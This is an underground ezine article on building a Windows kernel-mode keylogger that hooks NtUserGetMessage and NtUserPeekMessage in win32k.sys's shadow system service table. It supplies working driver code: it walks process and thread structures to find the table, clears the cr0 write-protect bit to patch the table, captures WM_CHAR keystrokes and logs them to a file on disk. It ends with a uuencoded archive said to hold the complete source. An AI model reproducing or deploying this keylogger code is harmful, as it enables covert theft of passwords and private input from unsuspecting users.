.aware eZine Beta - Underground Research
β
Ω


[==============================================================================]
[------------[ Windows Kernelmode, Keyboard Independant Keylogger ]------------]
[==============================================================================]


       _.d####b._
     .############.
   .################.
  .##################.__ __ __ __ _ _ __ __ 
  ##############/´_`|#\ V  V // _` | '_/ -_)
  ##############\__,|# \_/\_/ \__,_|_| \___|
  ###########>'<######                                     
  *#########(   )####* 
   ##########>.<#####    author:  C0ldCrow
    ################     email:   c0ldcrow.don@gmail.com
     *############*       
       "T######T"



--[ 1 ]------------------------------------------------------[ Motivation ]-----

First, what do I mean when I say: "keyboard independent keylogger"? I mean a
keylogger that won't have to deal with low level keyboard management. One that
does not need to translate any hardware scan codes or virtual-key codes into
characters. A keylogger that doesn't have to care about the keyboard layout or
thelike. In short - a keylogger that will only catch and capture letters that
the user actually types.

When I began to write my keylogger I started with a standard filtered driver
approach. Writing a kernel driver that would capture keystrokes wasn't very
hard, since all of that is rather well documented and you can find source code
examples. Nonetheless, I gave up.

The utter reason for my failure was the translation of key scancodes into
usable characters. I looked at one piece of example code and got a bit scared.
Way too many keys. In fact, I couldn't even work with the code because I am 
using a Croatian keyboard layout and Croatian language has some characters 
outside of the "standard" ascii table. [ Editor's Note: As does German. ]
I was too lazy to implent that. Also considering that QWERTY type keyboards 
aren't the only ones (DVORAK), I approached the issue at a higher layer.

Every r3 application I have written so far doesn't have to deal with translating
virtual-key codes into characters. From the point of your program, user input
comes in form of a characters or text. That means that someone/something has
already translated keyboard specific codes into acceptable input for the
program. Thus, if we could somehow deduce how that process works, maybe we
could write some code that captures characters *right* before they hit userland.


--[ 2 ]------------------------------------[ Keyboard Input in Windows OS ]-----

The Windows operating system provides an event-driven environment to userland
applications, where they do not have to call any OS functions to obtain user
input. Instead, an application waits until the system delivers the input to it.
We'll start by tracing the keyboard input, from the point when the user presses
the key on the keyboard, to the time when the input is delivered to the
application.

As soon as a key is pressed, the keyboard generates a unique device-dependent
value that corresponds to the keys so-called "scan code". Thus, using a scan
code, we can determine which key was pressed. However, the key term here is a
scan code's "device dependence". This means, it can differ from keyboard to
keyboard. Scan codes are "delivered" to the keyboard device driver (details of
this delivery are not important to us, it involves interrupt dispatching).
The keyboard device driver understands the scan code, because it has been 
specifically designed for a particular (branch of) keyboard and now translates
the scan code to the so-called virtual key code.

MSDN describes the virtual key code as a device independent value, defined by
the system to uniquely identify the purpose of a certain key. Keyboard drivers
generate a message structure that includes the scan code, the virtual key code
and further information about the key, then places it in the system message
queue. The system removes messages from the system message queue and places
them in the thread message queue. Messages from the thread message queue are
removed by the thread message loop and passed on to the window procedure for
processing. All of this is documented in greater detail on [MSDN].

So, the system generates a message when the user presses the key. That message
identifies the key that was pressed. It will first pend in the system message 
queue and then end up in the per-thread message queue.
We now have a rough idea about what we need to do: We need to intercept these
said messages. That said, we only have a hand full of locations where we can
do so. Upon entering or leaving the system message queue, or upon entering or
leaving the thread message queue.

The "MSG" structure is used to pass messages around in Windows OS. Among other
things, it contains an identifier to distinguish various types of messages.
Messages that are generated as a result of keytaps can be of the type WM_KEYUP,
WM_KEYDOW, WM_SYSKEYUP, WM_SYSKEYDOWN or WM_CHAR. Messages of this kind are 
sent to the thread message queue of the thread with a window bearing the 
property "keyboard focus".
WM_CHAR messages are of particular interest to us, since it carries the
character code corresponding to the pressed key. Hence, we will try to capture
every single WM_CHAR message upon leaving the thread message queue, in order to
implement our keylogger. 


--[ 3 ]-------------------------------------[ Attacking with GetMessage() ]-----

We'll try capturing WM_CHAR messages by hooking the GetMessage() API.
GetMessage() is used by Windows applications to retrieve a message from its 
message queue. GetMessage() dequeues all types of messages, including WM_CHAR.
Provided that a thread uses no other calls for obtaining messages, hooking the
GetMessage() call should be sufficient.

GetMessage() belongs to the user and GDI functions, and is defined in 
user32.dll. Poking around user32.dll with IDA we can quickly spot the underlying
call to _NtUserGetMessage():

--------------------------------------------------------------------------------
.text:77D4918F                 mov     eax, 11A5h
.text:77D49194                 mov     edx, 7FFE0300h
.text:77D49199                 call    dword ptr [edx]
--------------------------------------------------------------------------------

It's a call to ntdll.dll - and over there, we have the "sysenter" instruction.
Hence, the Windows kernel component behind GetMessage() is NtUserGetMessage().
It resides in win32k.sys, the kernel part of the Windows subsystem holding user
and GDI functions.
We have an index to NtUserGetMessage (0x11a5), which is used by the system 
service dispatcher to calculate the actual function addresses. Theoretically
speaking, that's all the information we need to hook NtUserGetMessage.


--[ 4 ]-------------------------------------------[ Hooking in win32k.sys ]-----

Hooking syscalls from win32k.sys is more complicated than hooking syscalls in
ntoskrnl.exe, and lack of thorough online literature isn't helping either. Here
is a small list of problems that would not appear when working inside
ntoskrnl.exe:

The first problem is finding the offset of the shadow table, holding the 
addresses of all sycall functions defined in win32k.sys.

-------------------------------------------------------------------[ Note ]-----

Just a little off topic bit on terminology. When I say "System Service 
Descriptor Table", I refer to the following data structure:

typedef struct _SSDT_DescriptorTables {
    ServiceDescriptorEntry ServiceTables[4];
} SSDTDescriptorTables;

Likewise, we will refer to the following data structure as the "System Service
Descriptor Table Entry":

typedef struct _ServiceDescriptorEntry {
    ULONG *ServiceTableBase;
    ULONG *ServiceCounterTableBase;
    ULONG NumberOfServices;
    UCHAR *ParamTableBase;
} ServiceDescriptorEntry;

Also, the term "System Service Dispatch Table" will be the name for the whole 
array of addresses to sycall functions in win32k.sys. That array starts at
an address stored in ServiceDescriptorEntry.ServiceTableBase.

Shorthands:
 System Service Descriptor Table        -  Descriptor Table
 System Service Dispatch Tabel          -  Dispatch Table
 System Service Descriptor Table Entry  -  Descriptor Entry
 
--------------------------------------------------------------------------------

Thus, we need to find the address of the descriptor table that holds the
descriptor entry of win32k.sys' dispatch table. In the Windows kernel, there are
exactly two descriptor tables. One holds only the entry for ntoskrnl.exe's 
dispatch table, and the other one holds entries for both ntoskrnl.exe's and 
win32k.sys' dispatch tables.

I have come across one approach for finding the desired address on [AVO], based
on comparing descriptor talbe offsets to the address of the ntoskrnl.exe 
descriptor table. It works on versions of Windows up to XP SP2.
I have devised a slightly different method, which I prefer, though. The idea
derives from the observation that the address of win32k.sys' descriptor table is
held in the ETHREAD block of every GUI thread running on the system, under the 
field "ServiceTable". You can easiely get the field's offset with WinDbg:

  kd>dt _ethread
  (...)
  +0xe0 ServiceTable     : Ptr32 Void
  (...)

Since we can obtain the address of ntoskrnl.exe's descriptor table simply by 
importing it in our code, we can traverse the ETHREAD linked list, checking each
ServiceTable field and compare it to the address of ntoskrnl.exe's descriptor.
When they differ, we can conclude that we found address of win32k.sys' service
descriptor table.

NOTE: This method has an obvious, known drawback: It uses hardcoded offsets,
which can differ across distinct versions of Windows.

To find a GUI thread, we will first discover the EPROCESS block of a GUI 
process. We can do so by traversing the EPROCESS list, checking the Win32Process
field of each block, at offset 0x130. For GUI processes, it is reserved for a
pointer to a win32k.sys internal data structure, maintained by the kernel 
driver. Non-GUI processes have this field set to NULL. From the EPROCESS block
of a GUI process, we'll then jump to its ETHREAD list and look for a GUI thread.
This is the code:

--------------------------------------------------------------------------------

#define OffsetEP_Win32Process 0x130 // EPROCESS.Win32Process
#define OffsetEP_NextEPFlink  0x88  // EPROCESS.ActiveProcessLink.Flink
#define OffsetEP_NextETFlink  0x50  // EPROCESS.KPROCESS.ThreadListEntry.Flink
#define OffsetET_NextKTFlink  0x1b0 // ETHREAD.KTHREAD.ThreadListEntry.Flink
#define OffsetET_NextETFlink  0x22c // ETHREAD.ThreadListEntry.Flink
#define OffsetET_ServiceTable 0xe0  // ETHREAD.KTHREAD.ServiceTable

#pragma pack(1)
typedef struct _ServiceDescriptorEntry {
    ULONG *ServiceTableBase;
    ULONG *ServiceCounterTableBase;
    ULONG NumberOfServices;
    UCHAR *ParamTableBase;
} ServiceDescriptorEntry;
#pragma pack()

typedef struct _SSDT_DescriptorTables {
    ServiceDescriptorEntry ServiceTables[4];
} SSDTDescriptorTables;

extern ServiceDescriptorEntry KeServiceDescriptorTable;

ULONG FindGUIProcess(void)
{
    ULONG CurrentEproc, Win32Process, StartEproc;
    PLIST_ENTRY  ProcessLink=NULL;
    int          Count=0;

    CurrentEproc=Win32Process=StartEproc=0;
    CurrentEproc=(ULONG)PsGetCurrentProcess();
    StartEproc=CurrentEproc;
    Win32Process=*((ULONG *)(CurrentEproc+OffsetEP_Win32Process));

    while(1)
    {
        if( Win32Process!=0 )
            return CurrentEproc;
        if( (Count>=1)&&(CurrentEproc==StartEproc) )
            return 0;

        ProcessLink=(PLIST_ENTRY)(CurrentEproc+OffsetEP_NextEPFlink);
        CurrentEproc=(ULONG)ProcessLink->Flink;
        CurrentEproc=CurrentEproc-OffsetEP_NextEPFlink;
        Win32Process=*((ULONG *)(CurrentEproc+OffsetEP_Win32Process));
        Count++;
    }

    return 0;
}

ULONG FindShadowTable(ULONG GUIEprocess)
{
    ULONG CurrentEthread, CurrentTable, StartEthread, ServiceTable;
    PLIST_ENTRY ThreadLink=NULL;
    int Count=0;

    CurrentEthread=CurrentTable=StartEthread=ServiceTable=0;
    ServiceTable=(ULONG)*(&(KeServiceDescriptorTable.ServiceTableBase));
    CurrentEthread=*((ULONG *)(GUIEprocess+OffsetEP_NextETFlink));
    CurrentEthread=CurrentEthread-OffsetET_NextKTFlink;
    StartEthread=CurrentEthread;
    CurrentTable=*((ULONG *)(CurrentEthread+OffsetET_ServiceTable));

    while(1)
    {
        if( CurrentTable!=ServiceTable )
            return CurrentTable;

        if( (Count>=1)&&(CurrentEthread==StartEthread) )
            return 0;

        ThreadLink=(PLIST_ENTRY)(CurrentEthread+OffsetET_NextETFlink);
        CurrentEthread=(ULONG)ThreadLink->Flink;
        CurrentEthread=CurrentEthread-OffsetET_NextETFlink;
        CurrentTable=*((ULONG *)(CurrentEthread+OffsetET_ServiceTable));
        Count++;
    }

    return 0;
}

NTSTATUS DriverEntry (IN PDRIVER_OBJECT DriverObject,
 IN PUNICODE_STRING RegistryPath)
{
    ULONG GUIEprocess, *GetMessageAddr;
    SSDTDescriptorTables *ShadowTable=NULL;

    GUIEprocess=0;

    KeEnterCriticalRegion();
    GUIEprocess=FindGUIProcess();
    KeLeaveCriticalRegion();

    KeEnterCriticalRegion();
    ShadowTable=(SSDTDescriptorTables *)FindShadowTable(GUIEprocess);
    KeLeaveCriticalRegion();
}

--------------------------------------------------------------------------------

The functions FindGUIEprocess() and FindShadowTable() do the actual work.

The second problem when hooking inside win32k.sys is this: Even with the address
of Dispatch Table we won't be able to use it. The win32k.sys driver is pagable,
similar to the user land process. Virtual addresses that refer to the win32k.sys
have a meaning only in the context of a GUI process which uses the services from
win32k.sys. In any other context, these addresses are invalid, and will usually
result in PAGE_FAULT_IN_NONPAGED_AREA BSOD. So, in order to read or write to the
dispatch table, our driver needs to have the same context as this GUI process.

This could be achieved by writing a small r3 program to create a GUI thread and
then send an IOCTL to the driver to execute it in context of that GUI thread.
This seems like an awful lot of work for such a simple task. I think it's
better to use FindGUIProcess() and then KeAttachProcess() to that GUI process,
then detach as soon as we're done.
      
And here it is, the actual code that performs the NewGetUserMessage() hook.

--------------------------------------------------------------------------------

#define INDEX_GETMESSAGE 0x1a5

/*  This is because of the way the windows system service
    dispatcher works. It uses the 13th and 12th bit of the
    index to indicate which descriptor table to look it
    up in. That is why we use 0x1a5 as our offset, rather
    than 0x11a5.
*/


typedef NTSTATUS (*NTUSERGETMESSAGE)(OUT ULONG pMsg,
                                     IN ULONG hWnd,
                                     IN ULONG FilterMin,
                                     IN ULONG FilterMax);
NTUSERGETMESSAGE OldGetMessage;

typedef struct _POINT {
    ULONG x;
    ULONG y;
} POINT;

typedef struct _MSG {
    ULONG hWnd;
    ULONG message;
    ULONG wParam;
    ULONG lParam;
    ULONG time;
    POINT pt;
} MSG, *PMSG;

NTSTATUS NTAPI NewGetMessage(OUT ULONG pMsg, IN ULONG hWnd, IN ULONG FilterMin,
 IN ULONG FilterMax)
{
    NTSTATUS APIStatus;
    PMSG MsgStruct;

    APIStatus=OldGetMessage(pMsg, hWnd, FilterMin, FilterMax);

    MsgStruct=(PMSG)pMsg;
    if( MsgStruct->message==WM_CHAR )
    {
        /* Message we're looking for */
    }

    return APIStatus;
}


/* This code should be inside DriverEntry() */
GetMessageAddr=ShadowTable->ServiceTables[1].ServiceTableBase+INDEX_GETMESSAGE;

KeAttachProcess((PEPROCESS)GUIEprocess);

OldGetMessage=(NTUSERGETMESSAGE)(*GetMessageAddr);

_asm
{
    cli
    mov eax, cr0
    and eax, not 10000H
    mov cr0, eax
}
*GetMessageAddr=NewGetMessage;
_asm
{
    mov eax, cr0
    or eax, 10000H
    mov cr0, eax
    sti
}

KeDetachProcess();

--------------------------------------------------------------------------------

Using the standard cr0 trick and disableing interrupts - not good practice. On
MP machines we would need to use more robust protection mechanisms, atomic 
functions, etcetera.


--[ 5 ]-----------------------[ Another Part of the Story - PeekMessage() ]-----

The presented keylogger will work, but it won't capture every WM_CHAR message if
you run a test. In fact, it catches around half the characters you type.
Given these results, we can only conclude that not all threads use GetMessage()
as the only method to dequeue messages. To make a long story short, we need to
hook PeekMessage() as well.

Applications can use predefined objects to create the user interface. A simple
example is an edit box control. Your code can call the function 
GetDlgItemText() to retrieve the text from the edit box. It doesn't have to call
GetMessage() or PeekMessage() at all in order to do so. This is possible because
the code responsible for creating and maintaining the edit box is contained 
entirely in user32.dll. It includes a small internal message loop which uses
PeekMessage(), sometimes setting the last parameter to PM_REMOVE.

You can watch this with OllyDbg. If you examine the execution of
GetDlgItemText(), you'll see it doesn't "go into kernel" to get the text, but 
rather does it copy the text from a user address space location to the
buffer provided.

By hooking PeekMessage(), we can capture all of the WM_CHAR messages. Hooking is
exactly the same as with NtUserGetMessage(): The only thing left to know is the 
index of NtUserPeekMessage in the dispatch table. It is 0x11DA, which basically 
means an offset of 0x1da.


--[ 6 ]--------------------------------------------[ The keylogger engine ]-----

In the end we need to code the keylogger engine itself. This is pretty much the
same as you would expect it in any keylogger. We need to decide on how to write
the captured keystrokes to file, create an output format for our the keystroke
data and the information that needs to be logged along with them (time, window 
title...). This is pretty much a matter of the programmer's preference.

I'll only point out some implementation issues with the keylogger which you will
have to concern yourself with. The first one is synchronization: We have two 
functions that capture keystrokes. Since they write the captured data to the
same memory buffer we need to synchronize their access to the shared buffer. 
The kernel provides a great deal of synchronization features - among the best, 
for our case, are mutex objects: Our hook function will not be allowed to write
to the buffer unless it owns the mutex object. When the buffer is full, the 
function that hit the threshold will create a thread to dump the buffer content
to file, while setting up a temporary buffer for loggin, during the time of the
write. A much better solution would be not to create a new thread every time,
but rather create a single thread during boot time and wake it up periodically 
as soon there is work to be done.

This code demonstrates the use of mutex objects to achieve synchronization:

--------------------------------------------------------------------------------

#define PM_REMOVE          0x0001 // Remove flag for PeekMessage from winuser.h
#define WRITE_BUFFER_SIZE  10
#define NUM_KEYS           256
#define LOG_FILENAME       L"\\DosDevices\\c:\\klogfile.txt"

/* Data about the key we're going to collect */
typedef struct _KEY_DATA {
    ULONG CharCode;
} KEY_DATA;

/* This structure represents memory buffer that
   holds data before writing it to disk */
typedef struct _MEMBUFF {
    KEY_DATA Keys[NUM_KEYS];
    int KeysIndex;
} KEYMEMBUFF, *PKEYMEMBUFF;

void WorkerThread (IN PVOID BufferStruct)
{
    PKEYMEMBUFF Buffer;
    IO_STATUS_BLOCK FileStatus, WriteStatus;
    HANDLE FileHandle;
    int i, WriteSize;
    unsigned char AscIIChar, WriteBuffer[WRITE_BUFFER_SIZE];

    Buffer=(PKEYMEMBUFF)BufferStruct;
    ZwCreateFile(&FileHandle,
                 FILE_APPEND_DATA | SYNCHRONIZE,
                 &LogFileObjAttrib,
                 &FileStatus, NULL,
                 FILE_ATTRIBUTE_NORMAL, 0,
                 FILE_OPEN_IF,
                 FILE_SYNCHRONOUS_IO_NONALERT,
                 NULL, 0);

    for(i=0; i<Buffer->KeysIndex; i++)
    {
        memset(WriteBuffer, 0, WRITE_BUFFER_SIZE);
        AscIIChar=*((unsigned char *)&(Buffer->Keys[i].CharCode));
        switch(AscIIChar)
        {
            case 0x8:
                strncpy(WriteBuffer, "<BS>", WRITE_BUFFER_SIZE-1);
                WriteSize=4;
            break;

            case 0x1b:
                strncpy(WriteBuffer, "<ESC>", WRITE_BUFFER_SIZE-1);
                WriteSize=5;
            break;

            case 0x7f:
                strncpy(WriteBuffer, "<DEL>", WRITE_BUFFER_SIZE-1);
                WriteSize=5;
            break;

            default:
                WriteBuffer[0]=AscIIChar;
                WriteSize=1;
            break;
        }
        ZwWriteFile(FileHandle, NULL, NULL, NULL, &WriteStatus, WriteBuffer,
         WriteSize, NULL, NULL);
    }

    Buffer->KeysIndex=0;
    ZwClose(FileHandle);
    PsTerminateSystemThread(0);
}

/* Same as for NtUserGetMessage, just different function */
NTSTATUS NTAPI NewPeekMessage(OUT ULONG pMsg, IN ULONG hWnd, IN ULONG FilterMin,
 IN ULONG FilterMax, IN ULONG RemoveMsg)
{
    NTSTATUS APIStatus, Status;
    PMSG MsgStruct;
    HANDLE WorkerThreadHandle;

    APIStatus=OldPeekMessage(pMsg, hWnd, FilterMin, FilterMax, RemoveMsg);

    MsgStruct=(PMSG)pMsg;
    if( (MsgStruct->message==WM_CHAR) && (RemoveMsg==PM_REMOVE) )
    {
        Status=KeWaitForSingleObject((PVOID)&MemBuffMutex, UserRequest, 
            KernelMode, FALSE, NULL);
        if(Status==STATUS_SUCCESS)
        {
            if(ActiveBuffer->KeysIndex==NUM_KEYS)
            {
                PsCreateSystemThread(&WorkerThreadHandle, THREAD_ALL_ACCESS, 
                    NULL, NULL, NULL, WorkerThread, ActiveBuffer);
                ZwClose(WorkerThreadHandle);
                ActiveBuffer=(ActiveBuffer==&Buffer1) ? &Buffer2 : &Buffer1;
            }
            ActiveBuffer->Keys[ActiveBuffer->KeysIndex].CharCode
                = MsgStruct->wParam;
            ActiveBuffer->KeysIndex++;

            KeReleaseMutex(&MemBuffMutex, FALSE);
        }
    }

    return APIStatus;
}

/* Our replacement function for NtUserGetMessage() */
NTSTATUS NTAPI NewGetMessage(OUT ULONG pMsg, IN ULONG hWnd, IN ULONG FilterMin,
    IN ULONG FilterMax)
{
    NTSTATUS APIStatus, Status;
    PMSG MsgStruct;
    HANDLE WorkerThreadHandle;

    /* Call the original function */
    APIStatus=OldGetMessage(pMsg, hWnd, FilterMin, FilterMax);

    MsgStruct=(PMSG)pMsg;
    if( MsgStruct->message==WM_CHAR ) /* Message we are looking for */
    {
        /* Here we try to get exclusive access to the shared buffer untill call
           to KeReleseMutex() there should be only one function running this
           code. Also we need to look when the buffer is full and then create 
           the thread to write it to the disk */
           
        Status=KeWaitForSingleObject((PVOID)&MemBuffMutex, UserRequest, 
            KernelMode, FALSE, NULL);
            
        if(Status==STATUS_SUCCESS)
        {
            if(ActiveBuffer->KeysIndex==NUM_KEYS) // If current buffer is full
            {
                /* Empty the buffer by creating the thread that will write 
                   data to disk */
                PsCreateSystemThread(&WorkerThreadHandle, THREAD_ALL_ACCESS,
                    NULL, NULL, NULL, WorkerThread, ActiveBuffer);
                ZwClose(WorkerThreadHandle);
                
                /* While thread is working, switch to the next buffer so we 
                   can continue logging */
                ActiveBuffer=(ActiveBuffer==&Buffer1) ? &Buffer2 : &Buffer1;
            }

            ActiveBuffer->Keys[ActiveBuffer->KeysIndex].CharCode
                = MsgStruct->wParam;
            ActiveBuffer->KeysIndex++;

            /* Done with our code, relese the mutex */
            KeReleaseMutex(&MemBuffMutex, FALSE);
        }
    }

    return APIStatus; /* Return to the user */
}
--------------------------------------------------------------------------------

Some of it is explained in the comments. I'll try and fill in the gaps.

ActiveBuffer, Buffer1 and Buffer2 are pointers to KEYMEMBUFF (our custom defined
memory buffer). After acquiring the mutex, our hook function checks whether the
buffer is full. If this is the case, it creates the thread and changes the 
active buffer to the second one (there are two buffers allocated). Hence, the 
thread can take it's time working with the buffer provided to it.

The NewPeekMessage() hook function checks for the RemoveMsg flag. If it's set,
it logs the key, otherwise it just returns. The reason for this is obvious: If 
PeekMessage() removes the message from the thread queue, then there is no way
for GetMessage() to capture the same message. Since GetMessage() always removes
the message from the queue, we can be sure that every message will get picked up
eventualy.


--[ 7 ]---------------------------------------------------------[ The End ]-----

There is a lot of room for improvement in this code. I simply hope that I 
described an interesting approach to creating keyloggers. Also, PeekMessage() 
and GetMessage() aren't limited to capturing WM_CHAR messages, so you can capture
all sorts of messages that get "sent" to different applications. The complete
code I wrote is attached, uuencoded, at the end.

In the end I would like to give some shouts to hess (my attorney :) and all of 
the guys at #croatianz. 

Thank you for reading.


--[ 8 ]------------------------------------------------------[ References ]-----

[MSDN] Microsoft Developper Network Library
       <http://msdn.microsoft.com/>

 [AVO] Alexander Volynkin, Obtaining KeServiceDescriptorTableShadow address in
       Windows XP Kernel mode. 
       <http://www.volynkin.com/sdts.htm>

  [1.] Oney, Walter, Programming the Microsoft Windows Driver Model,
       Microsoft Press, Washington 2003

  [2.] http://www.rootkit.com/vault/Clandestiny/Klog%201.0.zip

  [3.] http://msdn2.microsoft.com/en-us/library/ms646267.aspx

  [4.] http://msdn2.microsoft.com/en-us/library/ms644927.aspx

  [5.] http://msdn2.microsoft.com/en-us/library/ms644927.aspx

  [6.] http://msdn2.microsoft.com/en-us/library/ms644928.aspx

  [7.] Mark E. Russinovich, David A. Solomon;
       Microsoft Windows Internals, Fourth Edition: Microsoft Windows Server
       Microsoft Press, Washington 2005
       Chapter 3 - System Mechanisms : Trap Dispatching

  [8.] http://www.volynkin.com/sdts.htm

  [9.] Mark E. Russinovich, David A. Solomon;
       Microsoft Windows Internals, Fourth Edition: Microsoft Windows Server
       Microsoft Press, Washington 2005
       Chapter 6 - Processes, Threads, and Jobs : Thread Internals

 [10.] http://www.rootkit.com/newsread.php?newsid=137



--[ Appendix ]-----------------------------------------------------[ Code ]-----

begin 644 Code.zip
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
